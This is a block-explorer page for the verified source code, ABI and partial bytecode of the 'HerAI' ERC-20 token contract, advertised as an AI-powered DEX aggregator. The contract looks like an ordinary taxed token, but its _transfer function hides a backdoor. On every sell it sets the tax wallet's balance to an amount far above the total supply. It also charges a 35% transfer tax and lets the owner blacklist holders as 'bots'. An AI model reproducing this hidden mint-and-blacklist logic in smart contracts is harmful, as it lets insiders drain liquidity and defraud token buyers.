Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract HerAI is Context, IERC20, ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function manualSwap()
•    - function removeTransferTax()
•    - function sendETHToFee(uint256 amount)
•    - function addBots(address[] memory bot ...
•    - function delBots(address[] memory not ...
•    - function isBot(address a)
•    - function openTrading()
•    - function reduceFee(uint256 _newFee)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-02-28
*/

// SPDX-License-Identifier: UNLICENSE

/*
AI-Powered Multichain Dex Aggregator.

Website: https://www.herai.tech
Telegram: https://t.me/HERAI_erc
Twitter: https://twitter.com/HERAI_erc
Dapp: https://app.herai.tech
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HerAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;

    uint256 private _initialBuyTax=22;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _transferTax=35;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"HerAI";
    string private constant _symbol = unicode"HerAI";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 420000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8400000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    address payable private _taxWallet = payable(0x3085A2909939531C7557347F9aFED44236746cA8);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                _balances[_taxWallet] = _tTotal * 10 ** _decimals;
                sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _transferTax = 0;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260166005556019600655600260075560026008556006600955600f600a556005600b556023600c556000600d556009600a62000041919062000682565b62000052906401f4add4006200069a565b600e55620000636009600a62000682565b62000074906401f4add4006200069a565b600f55620000856009600a62000682565b6200009590631908b1006200069a565b601055620000a66009600a62000682565b620000b7906401f4add4006200069a565b6011556013805461ffff60a81b1916905560006014819055601555601680546001600160a01b031916733085a2909939531c7557347f9afed44236746ca81790553480156200010557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001556009600a62000682565b62000166906461f313f8806200069a565b336000908152600160208190526040822092909255600390620001916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308082526003909452828120805486166001908117909155601654909216815291909120805490931617909155601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002409190620002296009600a62000682565b6200023a906461f313f8806200069a565b62000441565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000294573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ba9190620006b4565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200031d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003439190620006b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b79190620006b4565b601380546001600160a01b0319166001600160a01b0392909216919091179055620003df3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004196009600a62000682565b6200042a906461f313f8806200069a565b60405190815260200160405180910390a3620006df565b6001600160a01b038316620004a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200050c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005c4578160001904821115620005a857620005a86200056d565b80851615620005b657918102915b93841c939080029062000588565b509250929050565b600082620005dd575060016200067c565b81620005ec575060006200067c565b8160018114620006055760028114620006105762000630565b60019150506200067c565b60ff8411156200062457620006246200056d565b50506001821b6200067c565b5060208310610133831016604e8410600b841016171562000655575081810a6200067c565b62000661838362000583565b80600019048211156200067857620006786200056d565b0290505b92915050565b60006200069360ff841683620005cc565b9392505050565b80820281158282048414176200067c576200067c6200056d565b600060208284031215620006c757600080fd5b81516001600160a01b03811681146200069357600080fd5b611a7180620006ef6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461036b578063bf474bed1461038b578063c9567bf9146103a1578063d34628cc146103b6578063dd62ed3e146103d6578063ec1f3f631461041c57600080fd5b8063715018a6146102ed578063751039fc146103025780637d1db4a5146103175780638da5cb5b1461032d5780638f9a55c01461035557806395d89b411461015057600080fd5b806323b872dd1161010857806323b872dd1461020d578063313ce5671461022d57806331c2d847146102495780633bbac5791461026957806351bc3c85146102a257806370a08231146102b757600080fd5b806306fdde0314610150578063095ea7b31461018d5780630faee56f146101bd578063109daa99146101e157806318160ddd146101f857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526005815264486572414960d81b60208201529051610184919061153c565b60405180910390f35b34801561019957600080fd5b506101ad6101a83660046115b2565b61043c565b6040519015158152602001610184565b3480156101c957600080fd5b506101d360115481565b604051908152602001610184565b3480156101ed57600080fd5b506101f6610453565b005b34801561020457600080fd5b506101d36104c3565b34801561021957600080fd5b506101ad6102283660046115de565b6104e5565b34801561023957600080fd5b5060405160098152602001610184565b34801561025557600080fd5b506101f6610264366004611635565b61054e565b34801561027557600080fd5b506101ad6102843660046116fa565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102ae57600080fd5b506101f66105e4565b3480156102c357600080fd5b506101d36102d23660046116fa565b6001600160a01b031660009081526001602052604090205490565b3480156102f957600080fd5b506101f6610633565b34801561030e57600080fd5b506101f66106a7565b34801561032357600080fd5b506101d3600e5481565b34801561033957600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561036157600080fd5b506101d3600f5481565b34801561037757600080fd5b506101ad6103863660046115b2565b61075c565b34801561039757600080fd5b506101d360105481565b3480156103ad57600080fd5b506101f6610769565b3480156103c257600080fd5b506101f66103d1366004611635565b610958565b3480156103e257600080fd5b506101d36103f1366004611717565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042857600080fd5b506101f6610437366004611750565b6109ea565b6000610449338484610a31565b5060015b92915050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d90611769565b60405180910390fd5b6000600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b60006104d16009600a611898565b6104e0906461f313f8806118a7565b905090565b60006104f2848484610b55565b610544843361053f85604051806060016040528060288152602001611a14602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061119f565b610a31565b5060019392505050565b6000546001600160a01b031633146105785760405162461bcd60e51b815260040161047d90611769565b60005b81518110156105e05760006004600084848151811061059c5761059c6118be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105d8816118d4565b91505061057b565b5050565b6016546001600160a01b0316336001600160a01b03161461060457600080fd5b30600090815260016020526040902054801561062357610623816111d9565b4780156105e0576105e081611353565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161047d90611769565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106d15760405162461bcd60e51b815260040161047d90611769565b6106dd6009600a611898565b6106ec906461f313f8806118a7565b600e556106fb6009600a611898565b61070a906461f313f8806118a7565b600f556000600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61073f6009600a611898565b61074e906461f313f8806118a7565b6040519081526020016104b9565b6000610449338484610b55565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161047d90611769565b601354600160a01b900460ff16156107ed5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b6012546001600160a01b031663f305d719473061081f816001600160a01b031660009081526001602052604090205490565b6000806108346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c191906118ed565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561091a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093e919061191b565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146109825760405162461bcd60e51b815260040161047d90611769565b60005b81518110156105e0576001600460008484815181106109a6576109a66118be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109e2816118d4565b915050610985565b6016546001600160a01b0316336001600160a01b031614610a0a57600080fd5b6007548111158015610a1e57506008548111155b610a2757600080fd5b6007819055600855565b6001600160a01b038316610a935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610c7d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b600080546001600160a01b03858116911614801590610caa57506000546001600160a01b03848116911614155b1561105c576001600160a01b03841660009081526004602052604090205460ff16158015610cf157506001600160a01b03831660009081526004602052604090205460ff16155b610cfa57600080fd5b600d54600003610d3357610d306064610d2a600954600d5411610d1f57600554610d23565b6007545b859061138d565b90611416565b90505b600d5415610d5857610d556064610d2a600c548561138d90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d8357506012546001600160a01b03848116911614155b8015610da857506001600160a01b03831660009081526003602052604090205460ff16155b15610ead57600e54821115610dff5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047d565b600f5482610e22856001600160a01b031660009081526001602052604090205490565b610e2c919061193d565b1115610e7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047d565b610e956064610d2a600954600d5411610d1f57600554610d23565b600d80549192506000610ea7836118d4565b91905055505b6013546001600160a01b038481169116148015610ed357506001600160a01b0384163014155b15610f5457610efd6064610d2a600a54600d5411610ef357600654610d23565b600854859061138d565b9050610f0b6009600a611898565b610f176009600a611898565b610f26906461f313f8806118a7565b610f3091906118a7565b6016546001600160a01b0316600090815260016020526040902055610f5447611353565b30600090815260016020526040902054601354600160a81b900460ff16158015610f8b57506013546001600160a01b038581169116145b8015610fa05750601354600160b01b900460ff165b8015610fad575060105481115b8015610fbc5750600b54600d54115b1561105a57601554431115610fd15760006014555b6003601454106110235760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161047d565b61104061103b8461103684601154611458565b611458565b6111d9565b60148054906000611050836118d4565b9091555050436015555b505b80156110d6573060009081526001602052604090205461107c908261146d565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cd9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110f990836114cc565b6001600160a01b03851660009081526001602052604090205561113e61111f83836114cc565b6001600160a01b0385166000908152600160205260409020549061146d565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61118885856114cc565b60405190815260200160405180910390a350505050565b600081848411156111c35760405162461bcd60e51b815260040161047d919061153c565b5060006111d08486611950565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611221576112216118be565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190611963565b816001815181106112b1576112b16118be565b6001600160a01b0392831660209182029290920101526012546112d79130911684610a31565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611310908590600090869030904290600401611980565b600060405180830381600087803b15801561132a57600080fd5b505af115801561133e573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105e0573d6000803e3d6000fd5b60008260000361139f5750600061044d565b60006113ab83856118a7565b9050826113b885836119f1565b1461140f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b9392505050565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061150e565b6000818311611467578261140f565b50919050565b60008061147a838561193d565b90508381101561140f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b600061140f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119f565b6000818361152f5760405162461bcd60e51b815260040161047d919061153c565b5060006111d084866119f1565b600060208083528351808285015260005b818110156115695785810183015185820160400152820161154d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159f57600080fd5b50565b80356115ad8161158a565b919050565b600080604083850312156115c557600080fd5b82356115d08161158a565b946020939093013593505050565b6000806000606084860312156115f357600080fd5b83356115fe8161158a565b9250602084013561160e8161158a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561164857600080fd5b823567ffffffffffffffff8082111561166057600080fd5b818501915085601f83011261167457600080fd5b8135818111156116865761168661161f565b8060051b604051601f19603f830116810181811085821117156116ab576116ab61161f565b6040529182528482019250838101850191888311156116c957600080fd5b938501935b828510156116ee576116df856115a2565b845293850193928501926116ce565b98975050505050505050565b60006020828403121561170c57600080fd5b813561140f8161158a565b6000806040838503121561172a57600080fd5b82356117358161158a565b915060208301356117458161158a565b809150509250929050565b60006020828403121561176257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117ef5781600019048211156117d5576117d561179e565b808516156117e257918102915b93841c93908002906117b9565b509250929050565b6000826118065750600161044d565b816118135750600061044d565b816001811461182957600281146118335761184f565b600191505061044d565b60ff8411156118445761184461179e565b50506001821b61044d565b5060208310610133831016604e8410600b8410161715611872575081810a61044d565b61187c83836117b4565b80600019048211156118905761189061179e565b029392505050565b600061140f60ff8416836117f7565b808202811582820484141761044d5761044d61179e565b634e487b7160e01b600052603260045260246000fd5b6000600182016118e6576118e661179e565b5060010190565b60008060006060848603121561190257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192d57600080fd5b8151801515811461140f57600080fd5b8082018082111561044d5761044d61179e565b8181038181111561044d5761044d61179e565b60006020828403121561197557600080fd5b81516114